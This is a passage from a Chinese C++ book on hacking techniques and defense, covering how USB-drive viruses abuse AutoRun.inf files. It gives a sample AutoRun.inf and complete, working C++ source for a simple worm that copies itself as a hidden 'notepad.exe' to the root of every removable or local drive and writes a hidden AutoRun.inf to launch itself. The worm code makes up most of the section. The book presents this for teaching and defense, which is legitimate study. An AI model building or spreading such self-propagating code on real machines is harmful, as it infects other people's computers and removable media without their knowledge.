C++ 黑客编程揭秘与防范(第3版)
上QQ阅读APP看书,第一时间看更新

3.1.2 模拟U盘病毒

1.U盘病毒的原理剖析

U盘病毒的原理主要依赖于AutoRun.inf文件。AutoRun.inf文件最早见于光盘中,它的作用是在载入光盘(或双击具有AutoRun.inf文件光盘的驱动器盘符)时自动运行指定的某个文件。由于它特有的功能和性质,从2006年左右开始,AutoRun.inf文件被利用在U盘和硬盘之间传播木马或病毒程序。

:AutoRun.inf类似于.ini文件,其差别在于AutoRun.inf的键名是系统固定的。关于AutoRun.inf文件的相关内容不做相应的介绍,请读者自行查阅相关的资料。

这里模拟U盘病毒的AutoRun.inf文件内容如下:

        [AutoRun]
        open=notepad.exe
        shell\open=打开(&O)
        shell\open\Command=notepad.exe
        shell\explore=资源管理器(&X)
        shell\explore\Command="notepad.exe"
        shellexecute=notepad.exe
        shell\Auto\Command=notepad.exe

2.简单模拟代码实现

模拟U盘病毒只实现一个最简单的功能,就是在移动磁盘(DRIVE_REMOVABLE类型的分区)或本地磁盘(DRIVE_FIXED类型的分区)上创建AutoRun.inf文件,还要将自身复制到相应盘符的根目录下。这就是本程序实现的基本功能。

具体代码如下:

        #include <Windows.h>

        char szAutoRun[] = "[AutoRun] \
        \r\nopen=notepad.exe \
        \r\nshell\\open=打开(&O) \
        \r\nshell\\open\\Command=notepad.exe \
        \r\nshell\\explore=资源管理器(&X) \
        \r\nshell\\explore\\Command=notepad.exe \
        \r\nshellexecute=notepad.exe \
        \r\nshell\\Auto\\Command=notepad.exe";

        void infect(char *pszFile, UINT uDriveType)
        {
            char szDriveString[MAXBYTE] = { 0 };
            DWORD dwRet = 0;
            DWORD iNum = 0;
            char szRoot[4] = { 0 };
            UINT uType = 0;
            char szTarget[MAX_PATH] = { 0 };

            dwRet = GetLogicalDriveStrings(MAXBYTE, szDriveString);

            while ( iNum < dwRet )
            {
                strncpy(szRoot, &szDriveString[iNum], 3);

                uType = GetDriveType(szRoot);

                if ( uType == uDriveType )
                {
                  // 复制文件
                  lstrcpy(szTarget, szRoot);
                  lstrcat(szTarget, "notepad.exe");
                  CopyFile(pszFile, szTarget, FALSE);

                  // 设置notepad.exe文件为隐藏属性
                  SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);

                  // 建立AutoRun.inf文件
                  lstrcpy(szTarget, szRoot);
                  lstrcat(szTarget, "autorun.inf");
                  HANDLE hFile = CreateFile(szTarget,
                                    GENERIC_WRITE,
                                    0, NULL,
                                    CREATE_ALWAYS,
                                    FILE_ATTRIBUTE_NORMAL,
                                    NULL);
                  DWORD dwWritten = 0;
                  WriteFile(hFile, szAutoRun, lstrlen(szAutoRun),
                                    &dwWritten, NULL);
                  CloseHandle(hFile);

                  // 设置AutoRun.inf文件为隐藏属性
                  SetFileAttributes(szTarget, FILE_ATTRIBUTE_HIDDEN);
              }

              iNum += 4;
          }
      }

      int main()
      {
          // 自身所在地位置
          char szFileName[MAX_PATH] = { 0 };
          // 保存当前文件所在地盘符
          char szRoot[4] = { 0 };
          // 保存磁盘类型
          UINT uType = 0;

          // 获取当前所在完整路径及文件名
          GetModuleFileName(NULL, szFileName, MAX_PATH);
          // 获取所在盘符
          strncpy(szRoot, szFileName, 3);

          uType = GetDriveType(szRoot);

          switch ( uType )
          {
          case DRIVE_FIXED:
              {
                  // 如果是在硬盘上就检测一遍是否有移动磁盘
                  infect(szFileName, DRIVE_REMOVABLE);
                  break;
              }
          case DRIVE_REMOVABLE:
              {
                  // 如果在移动磁盘上,则将自己复制到移动磁盘上
                  infect(szFileName, DRIVE_FIXED);
                  break;
              }
          }

          return 0;
      }

代码中的思路比较明确,实现也比较简单。需要说明的是,如果U盘病毒在本地磁盘上,就将检索所有的移动磁盘,并建立AutoRun.inf文件和复制自身到移动磁盘,并命名为notepad.exe;如果U盘病毒在移动磁盘上,就检索所有的本地磁盘,并建立AutoRun.inf文件和复制自身到移动磁盘,并命名为notepad.exe。

:目前安装的系统(指的是Ghost版的系统,不是原版的系统)都经过了一些设置,可能无法通过AutoRun.inf自动运行,从而导致无法执行模拟程序。